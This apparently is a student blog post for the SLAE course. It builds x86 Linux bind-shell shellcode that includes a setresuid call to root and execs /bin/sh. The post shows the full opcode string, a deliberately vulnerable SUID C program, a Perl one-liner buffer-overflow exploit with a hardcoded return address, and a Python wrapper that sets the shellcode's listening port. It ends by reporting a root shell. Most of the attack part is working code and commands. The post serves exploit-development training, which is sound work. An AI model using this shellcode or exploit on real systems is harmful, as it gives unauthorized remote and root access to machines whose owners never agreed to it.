SLAE Assignment 1 - Bind Shell
Objective:
The objective of the assignment is to create a bind shell which listens and accepts incoming connection and executes shell commands using /bin/sh. 
Steps:
1. Identify all the system calls required for creating the shellcode 
2. Create the Bind shellcode 
3. Practical Execution of the shellcode 
Step1:
The first step is to identify all the system calls required for the shellcode .They are 
a . socket 
The Socket system call is used to create socket ( TCP or UDP ) and according to its man page it will create an endpoint for communication 
b. bind 
Binds the socket to an address and a port
c. listen 
The Listen system call makes the socket listen to incoming connections 
d. accept 
This will accept an incoming connection for the socket . 
e. dup2 
Creates duplicates file descriptors so that stdin , stdout and stderr will go to our socket
f. execve 
Executes  /bin/sh 
g. setresuid 
This will set the real user ID and effective user ID of the calling process . This system call is very much important in real world exploits while doing privilege escalations .
Step2:
The next step is to create the assembly code .The following is the assembly code created based on the above sys calls .
  
  | 
 
Once the assembly code is ready we will compile and link the same and dump the opcodes using the command line fu learned during the SLAE course .
| 
   
"\x6a\x06\x6a\x01\x6a\x02\x31\xdb\xb3\x01\x31\xc9\x89\xe1\x31\xc0\xb0\x66\xcd\x80\x89\xc6\x31\xdb\x53\x66\x68\x2b\x67\x66\x6a\x02\x89\xe1\x6a\x10\x51\x56\xb3\x02\x89\xe1\x31\xc0\xb0\x66\xcd\x80\x6a\x01\x56\x31\xdb\xb3\x04\x89\xe1\x31\xc0\xb0\x66\xcd\x80\x31\xdb\x53\x53\x56\xb3\x05\x89\xe1\x31\xc0\xb0\x66\xcd\x80\x89\xc3\x6a\x02\x59\x6a\x3f\x58\xcd\x80\x49\x79\xf8\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89\xe1\xcd\x80" 
 | 
 
Step3:
Our  final aim is to execute the shellcode in a practical way . I used the below vulnerable code . As you can easily see the code is vulnerable to a buffer overflow attack due to lack of bounds checking.
| 
   
#include <stdio.h> 
int main(int argc, char *argv[]) 
{ 
char buffer[256]; 
memcpy(buffer, argv[1],strlen(argv[1])); 
printf(buffer); 
} 
 | 
 
Lets compile the code and test for the overflow .
As you can see the buffer overflowed and the program crashed .
Now lets try to see if we can control the EIP after the crash.
Here we can see that the EIP points to a value that we control and we know exactly where it is .
Now our aim will be to exploit the above situation .
I have made the binary SUID and given the ownership to root . now we need to prepare for our exploit.
The total bytes needed to crash the program is 272 , our shellcode is 126 bytes long and the final four bytes is the EIP .
So our exploit should look like this .
142*NOPS + shellcode + EIP
So the final exploit will become
$(perl -e 'printf "A" x 142 . "\x6a\x06\x6a\x01\x6a\x02\x31\xdb\xb3\x01\x31\xc9\x89\xe1\x31\xc0\xb0\x66\xcd\x80\x89\xc6\x31\xdb\x53\x66\x68\x2b\x67\x66\x6a\x02\x89\xe1\x6a\x10\x51\x56\xb3\x02\x89\xe1\x31\xc0\xb0\x66\xcd\x80\x6a\x01\x56\x31\xdb\xb3\x04\x89\xe1\x31\xc0\xb0\x66\xcd\x80\x31\xdb\x53\x53\x56\xb3\x05\x89\xe1\x31\xc0\xb0\x66\xcd\x80\x89\xc3\x6a\x02\x59\x6a\x3f\x58\xcd\x80\x49\x79\xf8\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89\xe1\xcd\x80" . "\x90\xf5\xff\xbf"')
Now let us test this exploit and see the result .
Awesome , our exploit worked and we are now root .
This blog post has been created
for completing the requirements of the SecurityTube Linux Assembly Expert
certification
http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Student ID: SLAE – 739
Wrapper Script :
| 
   
#!/usr/bin/python 
import struct 
import sys 
#Usage: ./wrapper
  <port number> 
x = sys.argv[1] 
port = struct.pack("!H",
  int(x)) 
bind_shell =
  ("\x6a\x06\x6a\x01\x6a\x02\x31\xdb\xb3\x01\x31\xc9\x89\xe1\x31\xc0\xb0\x66\xcd\x80\x89\xc6\x31\xdb\x53\x66\x68"
  + port + 
"\x66\x6a\x02\x89\xe1\x6a\x10\x51\x56\xb3\x02\x89\xe1\x31\xc0\xb0\x66\xcd\x80\x6a\x01\x56\x31\xdb\xb3\x04\x89\xe1\x31\xc0\xb0\x66\xcd\x80\x31\xdb\x53\x53\x56\xb3\x05\x89\xe1\x31\xc0\xb0\x66\xcd\x80\x89\xc3\x6a\x02\x59\x6a\x3f\x58\xcd\x80\x49\x79\xf8\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89\xe1\xcd\x80") 
print '"'
  + ''.join('\\x%02x' % ord(c) for c in bind_shell) + '";' 
 | 
 



No comments:
Post a Comment